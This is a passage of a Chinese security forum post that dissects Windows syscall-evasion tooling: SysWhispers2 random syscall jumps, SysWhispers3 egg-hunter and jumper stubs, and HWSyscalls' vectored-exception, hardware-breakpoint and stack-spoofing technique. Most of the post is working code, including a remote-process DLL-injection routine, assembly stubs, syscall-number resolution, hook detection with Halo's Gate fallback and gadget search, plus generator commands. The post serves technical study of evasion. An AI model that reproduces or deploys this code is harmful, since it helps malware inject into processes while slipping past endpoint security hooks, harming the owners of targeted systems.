std方法是最基础的syscall,但是rnd是适配了Random Syscall Jumps技术,项目描述中有写
使用随机系统调用跳转(Random Syscall Jumps)可以避免“系统调用的标记”。汇编存根会调用一个新函数SW__GetRandomSyscallAddress,该函数会在ntdll.dll中搜索并选择一个干净的系统调用指令来使用。通过这种方式,也可以避免触发用户态的系统调用指令。
要使用随机系统调用跳转,你需要在编译程序时定义RANDSYSCALL,并使用SysWhispers2输出的rnd版本。以下示例展示了如何使用GNU汇编器存根。
x86 Example EXE - Using Random Syscall Jumps

1
i686-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x86.s -DRANDSYSCALL -Wall -o example.exe

x64 Example EXE - Using Random Syscall Jumps

1
x86_64-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x64.s -DRANDSYSCALL -Wall -o example.exe

编写demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <Windows.h>
#include "syscalls.h" // Import the generated header.
 
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
    HANDLE hThread = NULL;
    LPVOID lpAllocationStart = nullptr;
    SIZE_T szAllocationSize = strlen(dllPath);
    LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
     
    NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}

这里我们使用random版本的代码
syscall.h的内容和第一版本没差别
具体的差别在asm。首先是导出的nt函数,将硬编码的hash值传给currentHash,然后调用WhisperMain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
NtAllocateVirtualMemory PROC
    mov currentHash, 007952D37h    ; Load function hash into global variable.
    call WhisperMain               ; Resolve function hash into syscall number and make the call
NtAllocateVirtualMemory ENDP
 
NtWriteVirtualMemory PROC
    mov currentHash, 0D642DCD6h    ; Load function hash into global variable.
    call WhisperMain               ; Resolve function hash into syscall number and make the call
NtWriteVirtualMemory ENDP
 
NtCreateThreadEx PROC
    mov currentHash, 04AB11E6Ch    ; Load function hash into global variable.
    call WhisperMain               ; Resolve function hash into syscall number and make the call
NtCreateThreadEx ENDP

WhisperMain中调用了SW2_GetSyscallNumberSW2_GetRandomSyscallAddress
查询ntdll中干净的随机的syscall命令,保存其地址,然后构造系统调用号等参数,用随机的sysacll执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
.code
EXTERN SW2_GetSyscallNumber: PROC
EXTERN SW2_GetRandomSyscallAddress: PROC
     
WhisperMain PROC
    pop rax
    mov [rsp+ 8], rcx                       ; Save registers.
    mov [rsp+16], rdx
    mov [rsp+24], r8
    mov [rsp+32], r9
    sub rsp, 28h
    mov ecx, currentHash
    call SW2_GetSyscallNumber
    mov dword ptr [syscallNumber], eax      ; Save the syscall number
    xor rcx, rcx
    call SW2_GetRandomSyscallAddress        ; Get a random syscall address
    mov qword ptr [syscallAddress], rax     ; Save the random syscall address
    xor rax, rax
    mov eax, syscallNumber
    add rsp, 28h
    mov rcx, [rsp+ 8]                       ; Restore registers.
    mov rdx, [rsp+16]
    mov r8, [rsp+24]
    mov r9, [rsp+32]
    mov r10, rcx
    pop qword ptr [returnAddress]           ; Save the original return address
    call qword ptr [syscallAddress]         ; Call the random syscall instruction
    push qword ptr [returnAddress]          ; Restore the original return address
    ret
WhisperMain ENDP

接下来查看具体的获取随机SSN和干净syscall的代码,是C语言,存放在syscall.c中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash)
{
    // Ensure SW2_SyscallList is populated.
    if (!SW2_PopulateSyscallList()) return -1;
 
    for (DWORD i = 0; i < SW2_SyscallList.Count; i++)
    {
        if (FunctionHash == SW2_SyscallList.Entries[i].Hash)
        {
            return i;
        }
    }
 
    return -1;
}

跟进SW2_PopulateSyscallList
先看数据结构,SW2_SYSCALL_ENTRY存放导出函数的hash和地址,SW2_SYSCALL_LIST存放entry队列,还有计数器

1
2
3
4
5
6
7
8
9
10
11
typedef struct _SW2_SYSCALL_ENTRY
{
    DWORD Hash;
    DWORD Address;
} SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY;
 
typedef struct _SW2_SYSCALL_LIST
{
    DWORD Count;
    SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES];
} SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST;

查看代码,首先获取peb,然后从peb中检索ntdll,由于ntdll不一定在第二位,所以遍历所有模块寻找ntdll

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#if defined(_WIN64)
PSW2_PEB Peb = (PSW2_PEB)__readgsqword(0x60);
#else
PSW2_PEB Peb = (PSW2_PEB)__readfsdword(0x30);
#endif
PSW2_PEB_LDR_DATA Ldr = Peb->Ldr;
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
PVOID DllBase = NULL;
 
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
// in the list, so it's safer to loop through the full list and find it.
PSW2_LDR_DATA_TABLE_ENTRY LdrEntry;
for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
{
    DllBase = LdrEntry->DllBase;
    PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
    PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
    PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
    DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    if (VirtualAddress == 0) continue;
 
    ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW2_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
 
    // If this is NTDLL.dll, exit loop.
    PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
 
    if ((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue;
    if ((*(ULONG*)(DllName + 4) | 0x20202020) == 'ld.l') break;
}

这里的处理其实挺愚蠢的,不如这段代码遍历一遍,其实还可以改成参数为hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
UINT64 GetModuleAddress(LPWSTR moduleName) {
    PPEB peb = (PPEB)__readgsqword(X64_PEB_OFFSET);
    LIST_ENTRY* ModuleList = NULL;
 
    if (!moduleName)
        return 0;
 
    for (LIST_ENTRY* pListEntry = peb->LoaderData->InMemoryOrderModuleList.Flink;
        pListEntry != &peb->LoaderData->InMemoryOrderModuleList;
        pListEntry = pListEntry->Flink) {
 
            PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
 
            if (wcsstr(pEntry->FullDllName.Buffer, moduleName)) {
                return (UINT64)pEntry->DllBase;
            }
        }
    return 0;
}

接着遍历导出表,将所有zw开头的内核系统调用接口的hash和地址存入队列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
PDWORD Functions = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
PDWORD Names = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
PWORD Ordinals = SW2_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
 
// Populate SW2_SyscallList with unsorted Zw* entries.
DWORD i = 0;
PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries;
do
{
    PCHAR FunctionName = SW2_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
 
    // Is this a system call?
    if (*(USHORT*)FunctionName == 'wZ')
    {
        Entries[i].Hash = SW2_HashSyscall(FunctionName);
        Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
 
        i++;
        if (i == SW2_MAX_ENTRIES) break;
    }
} while (--NumberOfNames);
 
// Save total number of system calls found.
SW2_SyscallList.Count = i;
 
// Sort the list by address in ascending order.
for (i = 0; i < SW2_SyscallList.Count - 1; i++)
{
    for (DWORD j = 0; j < SW2_SyscallList.Count - i - 1; j++)
    {
        if (Entries[j].Address > Entries[j + 1].Address)
        {
            // Swap entries.
            SW2_SYSCALL_ENTRY TempEntry;
 
            TempEntry.Hash = Entries[j].Hash;
            TempEntry.Address = Entries[j].Address;
 
            Entries[j].Hash = Entries[j + 1].Hash;
            Entries[j].Address = Entries[j + 1].Address;
 
            Entries[j + 1].Hash = TempEntry.Hash;
            Entries[j + 1].Address = TempEntry.Address;
        }
    }
}

接着跟进SW2_GetRandomSyscallAddress

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#ifdef RANDSYSCALL
#ifdef _WIN64
EXTERN_C uint64_t SW2_GetRandomSyscallAddress(void)
#else
EXTERN_C DWORD SW2_GetRandomSyscallAddress(int callType)
#endif
{
    int instructOffset = 0;
    int instructValue = 0;
#ifndef _WIN64
    // Wow64
    if (callType == 0)
    {
        instructOffset = 0x05;
        instructValue = 0x0E8;
    }
    // x86
    else if (callType == 1)
    {
        instructOffset = 0x05;
        instructValue = 0x0BA;
    }
#else
    instructOffset = 0x12;
    instructValue = 0x0F;
#endif
    srand(time(0));
    do
    {
        int randNum = (rand() % (SW2_SyscallList.Count + 1));
        if (*(unsigned char*)(ntdllBase + SW2_SyscallList.Entries[randNum].Address + instructOffset) == instructValue)
            return (ntdllBase + SW2_SyscallList.Entries[randNum].Address + instructOffset);
    } while(1);
}
#endif

这里设置了随机数,并且设定了syscall在汇编中的偏移0x12,构建出syscall在模块内偏移,(ntdllbase+random(syscalladdress)+0x12),最终返回构造好的syscall指令地址,在asm中构造syscall栈进行调用
根据下图可以看出偏移为0x12

1
2
3
4
5
6
7
8
9
10
.text:000000018009F600                               NtCreateThread proc near                ; DATA XREF: .rdata:0000000180134736↓o
.text:000000018009F600                                                                       ; .rdata:off_18016A5C8↓o
.text:000000018009F600                                                                       ; .pdata:00000001801905C4↓o
.text:000000018009F600 4C 8B D1                      mov     r10, rcx                        ; NtCreateThread
.text:000000018009F603 B8 4E 00 00 00                mov     eax, 4Eh ; 'N'
.text:000000018009F608 F6 04 25 08 03 FE 7F 01       test    byte ptr ds:7FFE0308h, 1
.text:000000018009F610 75 03                         jnz     short loc_18009F615
.text:000000018009F610
.text:000000018009F612 0F 05                         syscall                                 ; Low latency system call
.text:000000018009F614 C3                            retn

这里的效果就是,使用间接系统调用,程序会进入ntdll模块中执行syscall,而不是自己直接手撸syscall,在操作系统看来,手撸syscall会让用户态程序直接进入内核态,不经过ntdll.dll,是不合理的。
用ntdll.dll的syscall指令就解决了这个问题,合理多了。

SysWhispers3(spoof_call_jump)

SysWhispers还有进化版本,项目地址:https://github.com/klezVirus/SysWhispers3
进化的点在哪里:
The usage is pretty similar to SysWhispers2, with the following exceptions:

  • It also supports x86/WoW64
  • It supports syscalls instruction replacement with an EGG (to be dynamically replaced)
  • It supports direct jumps to syscalls in x86/x64 mode (in WOW64 it's almost standard)
  • It supports direct jumps to random syscalls (borrowing @ElephantSeal's idea)

其中涉及了主要两个技术:

  1. egg,动态字符替换,汇编指令层次的混淆
  2. 支持jump指令,是spoof call的变体,绕过对用户态asm文件syscall的监控,jmp跳转到ntdll处间接syscall

运行项目,生成模板查看一下

1
2
3
git clone https://github.com/klezVirus/SysWhispers3.git
cd SysWhispers3
python .\syswhispers.py --help
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls -m jumper_randomized
 
                  .                         ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-.  __/
`-. | | `-. |/|/  | | | `-. | | |-' |   `-. .  \
`-' `-| `-' ' '   ' ' ' `-' |-' `-' '   `-'  '''
     /|                     |  @Jackson_T
    `-'                     '  @modexpblog, 2021
 
                      Edits by @klezVirus,  2022
SysWhispers3: Why call the kernel when you can whisper?
 
 
[*] Searching for alternative header files...done
[*] Resolving header files...done
[*] Recursively resolving header files from #include directives...done
[*] Removing duplicates...done

这里使用了jumper_randomized模块,jumper和egg_hunter是不能同时使用的,因为都是对syscall指令做的操作,如果jumper就不需要syscall机器码混淆。
当只使用egg_hunter生成时会有提示,每次随机生成的egg垃圾字符串是不同的,需要手动转换成syscall指令(混淆解码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls -m egg_hunter
 
                  .                         ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-.  __/
`-. | | `-. |/|/  | | | `-. | | |-' |   `-. .  \
`-' `-| `-' ' '   ' ' ' `-' |-' `-' '   `-'  '''
     /|                     |  @Jackson_T
    `-'                     '  @modexpblog, 2021
 
                      Edits by @klezVirus,  2022
SysWhispers3: Why call the kernel when you can whisper?
 
 
[*] Searching for alternative header files...done
[*] Resolving header files...done
[*] Recursively resolving header files from #include directives...done
[*] Removing duplicates...done
[*] With the egg-hunter, you need to use a search-replace functionality:
  unsigned char egg[] = { 0x65, 0x0, 0x0, 0x61, 0x65, 0x0, 0x0, 0x61 }; // egg
  unsigned char replace[] = { 0x0f, 0x05, 0x90, 0x90, 0xC3, 0x90, 0xCC, 0xCC }; // syscall; nop; nop; ret; nop; int3; int3

先看egg_hunter
syscall.h中存放函数签名
查看asm文件,参数传入ecx函数hash,然后调用SW3_GetSyscallNumber

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
EXTERN SW3_GetSyscallNumber: PROC
 
Sw3NtAllocateVirtualMemory PROC
    mov [rsp +8], rcx          ; Save registers.
    mov [rsp+16], rdx
    mov [rsp+24], r8
    mov [rsp+32], r9
    sub rsp, 28h
    mov ecx, 0A30CA99Fh        ; Load function hash into ECX.
    call SW3_GetSyscallNumber              ; Resolve function hash into syscall number.
    add rsp, 28h
    mov rcx, [rsp+8]                      ; Restore registers.
    mov rdx, [rsp+16]
    mov r8, [rsp+24]
    mov r9, [rsp+32]
    mov r10, rcx
    DB 65h                     ; "e"
    DB 0h                     ; "0"
    DB 0h                     ; "0"
    DB 61h                     ; "a"
    DB 65h                     ; "e"
    DB 0h                     ; "0"
    DB 0h                     ; "0"
    DB 61h                     ; "a"
    ret
Sw3NtAllocateVirtualMemory ENDP

这里需要自己在主函数中对egg和replace字节进行实现。
就算实现了,这里也是直接系统调用,不靠谱,所以我们来看jumper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
EXTERN SW3_GetSyscallNumber: PROC
 
EXTERN SW3_GetRandomSyscallAddress: PROC
 
Sw3NtAllocateVirtualMemory PROC
    mov [rsp +8], rcx          ; Save registers.
    mov [rsp+16], rdx
    mov [rsp+24], r8
    mov [rsp+32], r9
    sub rsp, 28h
    mov ecx, 001960D01h        ; Load function hash into ECX.
    call SW3_GetRandomSyscallAddress        ; Get a syscall offset from a different api.
    mov r11, rax                           ; Save the address of the syscall
    mov ecx, 001960D01h        ; Re-Load function hash into ECX (optional).
    call SW3_GetSyscallNumber              ; Resolve function hash into syscall number.
    add rsp, 28h
    mov rcx, [rsp+8]                      ; Restore registers.
    mov rdx, [rsp+16]
    mov r8, [rsp+24]
    mov r9, [rsp+32]
    mov r10, rcx
    jmp r11                                ; Jump to -> Invoke system call.
Sw3NtAllocateVirtualMemory ENDP

可以看到和第二代版本的差别就是,syscall改成了jmp r11,r11是SW3_GetRandomSyscallAddress获取的syscall address。这种方式可以绕过对静态syscall指令的扫描。

HWSyscalls(VEH异常处理硬件断点)

项目地址:https://github.com/Dec0ne/HWSyscalls
上文都是软件中自定义堆栈流程,都是找到ntdll,然后从里面拿系统调用接口做syscall,但是hwsyscalls项目更彻底,通过kernel32 gadget,跳到ntdll.dll中做间接syscall。
indirect_syscalls.png
hwsyscalls_flow.png
用法:InitHWSyscalls启动系统,进行初始化,这个函数里面会把VEH异常处理注册好,并且将ntdll设置为断点,调用PrepareSyscall(要调用的NT函数)即可触发VEH,同时间接调用nt函数对应的syscall。
DeinitHWSyscalls进行收尾处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include "HWSyscalls.h"
 
typedef NTSTATUS(WINAPI* NtOpenProcess_t)(
    OUT          PHANDLE            ProcessHandle,
    IN           ACCESS_MASK        DesiredAccess,
    IN           POBJECT_ATTRIBUTES ObjectAttributes,
    IN OPTIONAL  PCLIENT_ID         ClientId);
 
void main() {
 
    // Initialize the exception handler and find the required gadgets.
    if (!InitHWSyscalls())
        return;
 
    // ...
 
    // Execute your function!
    NtOpenProcess_t pNtOpenProcess = (NtOpenProcess_t)PrepareSyscall((char*)("NtOpenProcess"));
    NTSTATUS status = pNtOpenProcess(&targetHandle, PROCESS_ALL_ACCESS, &object, &clientID);
 
    // ...
 
    // Removing the exception handler.
    DeinitHWSyscalls();
 
}

初始化函数,会获取当前线程,从kernel32.dll寻找ret gadget,"ADD RSP,68;RET",然后使用AddVectoredExceptionHandler注册异常处理程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
bool InitHWSyscalls() {
    myThread = GetCurrentThread();
    hNtdll = (HANDLE)GetModuleAddress((LPWSTR)L"ntdll.dll");
 
    if (!FindRetGadget()) {
        DEBUG_PRINT("[!] Could not find a suitable \"ADD RSP,68;RET\" gadget in kernel32 or kernelbase. InitHWSyscalls failed.");
        return false;
    }
 
    // Register exception handler
    exceptionHandlerHandle = AddVectoredExceptionHandler(1, &HWSyscallExceptionHandler);
 
    if (!exceptionHandlerHandle) {
        DEBUG_PRINT("[!] Could not register VEH: 0x%X\n", GetLastError());
        return false;
    }
 
    return SetMainBreakpoint();
}

FindRetGadget会在kernel32.dll和kernelbase.dll寻找"ADD RSP,68;RET",如果找不到就无需继续了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bool FindRetGadget() {
    // Dynamically search for a suitable "ADD RSP,68;RET" gadget in both kernel32 and kernelbase
    retGadgetAddress = FindInModule("KERNEL32.DLL", (PBYTE)"\x48\x83\xC4\x68\xC3", (PCHAR)"xxxxx");
    if (retGadgetAddress != 0) {
        DEBUG_PRINT("[+] Found RET_GADGET in kernel32.dll: %#llx\n", retGadgetAddress);
        return true;
    }
    else {
        retGadgetAddress = FindInModule("kernelbase.dll", (PBYTE)"\x48\x83\xC4\x68\xC3", (PCHAR)"xxxxx");
        DEBUG_PRINT("[+] Found RET_GADGET in kernelbase.dll: %#llx\n", retGadgetAddress);
        if (retGadgetAddress != 0) {
            return true;
        }
    }
    return false;
}

如果存在gadget,则注册异常处理函数

1
2
3
4
PVOID AddVectoredExceptionHandler(
  ULONG First,
  PVECTORED_EXCEPTION_HANDLER Handler
);
  • First: 这个参数决定了处理程序的调用顺序。如果这个参数为非零值,那么注册的处理程序将是第一个被调用的处理程序。如果这个参数为零,处理程序将被添加到调用列表的末尾。
  • Handler: 这是一个指向异常处理函数的指针。这个处理函数需要遵循 PVECTORED_EXCEPTION_HANDLER 类型定义的函数签名。

核心函数HWSyscallExceptionHandler,相关注释在代码中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
LONG HWSyscallExceptionHandler(EXCEPTION_POINTERS* ExceptionInfo) {
    // 单步执行异常
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
        // RIP命中断点函数
        if (ExceptionInfo->ContextRecord->Rip == (DWORD64)&PrepareSyscall) {
            DEBUG_PRINT("\n===============HWSYSCALLS DEBUG===============");
            DEBUG_PRINT("\n[+] PrepareSyscall Breakpoint Hit (%#llx)!\n", ExceptionInfo->ExceptionRecord->ExceptionAddress);
 
            // 从ntdll中找到PrepareSyscall传入的函数地址
            // Find the address of the syscall function in ntdll we got as the first argument of the PrepareSyscall function
            ntFunctionAddress = GetSymbolAddress((UINT64)hNtdll, (const char*)(ExceptionInfo->ContextRecord->Rcx));
            DEBUG_PRINT("[+] Found %s address: 0x%I64X\n", (const char*)(ExceptionInfo->ContextRecord->Rcx), ntFunctionAddress);
 
            // 将硬件断点Dr0移动到指定调用nt函数
            // Move breakpoint to the NTAPI function;
            DEBUG_PRINT("[+] Moving breakpoint to %#llx\n", ntFunctionAddress);
            ExceptionInfo->ContextRecord->Dr0 = ntFunctionAddress;
        }
            // 调用PrepareSyscall指定nt函数触发断点
        else if (ExceptionInfo->ContextRecord->Rip == (DWORD64)ntFunctionAddress) {
            DEBUG_PRINT("[+] NTAPI Function Breakpoint Hit (%#llx)!\n", (DWORD64)ExceptionInfo->ExceptionRecord->ExceptionAddress);
 
            // 伪造一个kernel32.dll的堆栈,利用FindRetGadget获取"ADD RSP,68;RET"的gadget
            // Create a new stack to spoof the kernel32 function address
            // The stack size will be 0x70 which is compatible with the RET_GADGET we found.
            // sub rsp, 70
            ExceptionInfo->ContextRecord->Rsp -= 0x70;
            // 为什么这里是0x70,因为RET本身会退栈0x8(pop rip),ADD 0x68+0X8就是0x70的空间,为了栈对齐
            // mov rsp, REG_GADGET_ADDRESS
            *(PULONG64)(ExceptionInfo->ContextRecord->Rsp) = retGadgetAddress;
            DEBUG_PRINT("[+] Created a new stack frame with RET_GADGET (%#llx) as the return address\n", retGadgetAddress);
 
            // 栈中函数参数的伪造
            // 假设有八个参数,将参数从rsp+0x70+offset转移到rsp+offset
            // offset是由预定义的参数数量和偏移来计算的
            // Copy the stack arguments from the original stack
            for (size_t idx = 0; idx < STACK_ARGS_LENGTH; idx++)
                {
                    const size_t offset = idx * STACK_ARGS_LENGTH + STACK_ARGS_RSP_OFFSET;
                    *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset + 0x70);
                }
            DEBUG_PRINT("[+] Original stack arguments successfully copied over to the new stack\n");
 
            DWORD64 pFunctionAddress = ExceptionInfo->ContextRecord->Rip;
 
            // 4C 8B D1         mov     r10, rcx    ; NtCreateThread
            // B8 4E 00 00 00   mov     eax, 4Eh    ; 'N'
            // 检查前四个字节是否是通用syscall序列
            // 不一样则是hook了
            char nonHookedSyscallBytes[] = { 0x4C,0x8B,0xD1,0xB8 };
            if (FindPattern(pFunctionAddress, 4, (PBYTE)nonHookedSyscallBytes, (PCHAR)"xxxx")) {
                DEBUG_PRINT("[+] Function is not hooked\n");
                DEBUG_PRINT("[+] Continuing with normal execution\n");
            }
            else {
                DEBUG_PRINT("[+] Function is HOOKED!\n");
                DEBUG_PRINT("[+] Looking for the SSN via Halos Gate\n");
                // 仿照天堂之门,动态获取SSN
                WORD syscallNumber = FindSyscallNumber(pFunctionAddress);
                //
                if (syscallNumber == 0) {
                    ExceptionInfo->ContextRecord->Dr0 = callRegGadgetAddressRet;
                    return EXCEPTION_CONTINUE_EXECUTION;
                }
 
                DWORD64 syscallReturnAddress = FindSyscallReturnAddress(pFunctionAddress, syscallNumber);
 
                if (syscallReturnAddress == 0) {
                    ExceptionInfo->ContextRecord->Dr0 = callRegGadgetAddressRet;
                    return EXCEPTION_CONTINUE_EXECUTION;
                }
 
                // 最终构造syscall序列,间接调用找到的syscall;ret
                // mov r10, rcx
                DEBUG_PRINT("[+] Moving RCX to R10 (mov r10, rcx)\n");
                ExceptionInfo->ContextRecord->R10 = ExceptionInfo->ContextRecord->Rcx;
                //mov eax, SSN
                DEBUG_PRINT("[+] Moving SSN to RAX (mov rax, 0x%X)\n", syscallNumber);
                ExceptionInfo->ContextRecord->Rax = syscallNumber;
                //Set RIP to syscall;ret; opcode address
                DEBUG_PRINT("[+] Jumping to \"syscall;ret;\" opcode address: 0x%I64X\n", syscallReturnAddress);
                ExceptionInfo->ContextRecord->Rip = syscallReturnAddress;
 
            }
 
            // Move breakpoint back to PrepareSyscall to catch the next invoke
            DEBUG_PRINT("[+] Moving breakpoint back to PrepareSyscall to catch the next invoke\n");
            ExceptionInfo->ContextRecord->Dr0 = (UINT64)&PrepareSyscall;
 
            DEBUG_PRINT("==============================================\n\n");
 
        }
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

寻找syscall指令和系统调用号都借鉴了天堂之门,遍历检索邻居.这里使用了PBYTE,是四个字节,0x20偏移,向后遍历32个函数寻找syscall;ret gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
DWORD64 FindSyscallReturnAddress(DWORD64 functionAddress, WORD syscallNumber) {
    // @sektor7 - RED TEAM Operator: Windows Evasion course - https://blog.sektor7.net/#!res/2021/halosgate.md
    DWORD64 syscallReturnAddress = 0;
 
    for (WORD idx = 1; idx <= 32; idx++) {
        if (*((PBYTE)functionAddress + idx) == 0x0f && *((PBYTE)functionAddress + idx + 1) == 0x05) {
            syscallReturnAddress = (DWORD64)((PBYTE)functionAddress + idx);
            DEBUG_PRINT("[+] Found \"syscall;ret;\" opcode address: 0x%I64X\n", syscallReturnAddress);
            break;
        }
    }
 
    if (syscallReturnAddress == 0)
        DEBUG_PRINT("[-] Could not find \"syscall;ret;\" opcode address\n");
 
    return syscallReturnAddress;
}

注册完VEH,一旦设置了硬件断点(通过 SetThreadContext 设置 CONTEXT 结构中的 Dr0),本进程任何尝试访问该地址的操作都会触发异常,这时 HWSyscallExceptionHandler 就会被调用。
这就轮到初始化函数InitHWSyscalls中的SetMainBreakpoint出场了

1
2
3
4
5
6
7
bool InitHWSyscalls() {
    ......
        // Register exception handler
        exceptionHandlerHandle = AddVectoredExceptionHandler(1, &HWSyscallExceptionHandler);
    ......
        return SetMainBreakpoint();
}

断点通过SetThreadContext下在了ctx.Dr0上,是PrepareSyscall函数,这个函数的作用是返回一个函数地址,入参是需要调用的nt函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
UINT64 PrepareSyscall(char* functionName) {
    return ntFunctionAddress;
}
 
bool SetMainBreakpoint() {
    // Dynamically find the GetThreadContext and SetThreadContext functions
    GetThreadContext_t pGetThreadContext = (GetThreadContext_t)GetSymbolAddress(GetModuleAddress((LPWSTR)L"KERNEL32.DLL"), "GetThreadContext");
    SetThreadContext_t pSetThreadContext = (SetThreadContext_t)GetSymbolAddress(GetModuleAddress((LPWSTR)L"KERNEL32.DLL"), "SetThreadContext");
 
    DWORD old = 0;
 
    CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
 
    // Get current thread context
    pGetThreadContext(myThread, &ctx);
     
    // Set hardware breakpoint on PrepareSyscall function
    ctx.Dr0 = (UINT64)&PrepareSyscall;
    ctx.Dr7 |= (1 << 0);
    ctx.Dr7 &= ~(1 << 16);
    ctx.Dr7 &= ~(1 << 17);
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
 
    // Apply the modified context to the current thread
    if (!pSetThreadContext(myThread, &ctx)) {
        DEBUG_PRINT("[-] Could not set new thread context: 0x%X", GetLastError());
        return false;
    }
 
    DEBUG_PRINT("[+] Main HWBP set successfully\n");
    return true;
}

到此为止,代码分析完毕。
HWSyscalls通过注册VEH异常处理程序,通过手动给触发函数下硬件断点的方式,通过参数将需要调用的内核函数名送入VEH处理程序,在其中操作寄存器,通过寻找kernel32.dll 的"ADD XX;RET"gadget,配合VEH.RSP操作,伪造kernel32.dll栈,接着将间接调用的栈帧布置在伪造的kernel32.dll栈后面,实现了更彻底更完美的间接系统调用。
该项目吸收了旧技术的精髓,和SysWhispers系列项目一样,都是syscall方面的精品项目。


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
免费 0
打赏
分享
最新回复 (2)
雪    币: 10411
活跃值: (2387)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tomtory 2024-6-3 16:57
2
0
感谢分享
雪    币: 1790
活跃值: (3095)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
拍拖 2 2024-6-5 18:08
3
0
感谢总结分享
游客
登录 | 注册 方可回帖
返回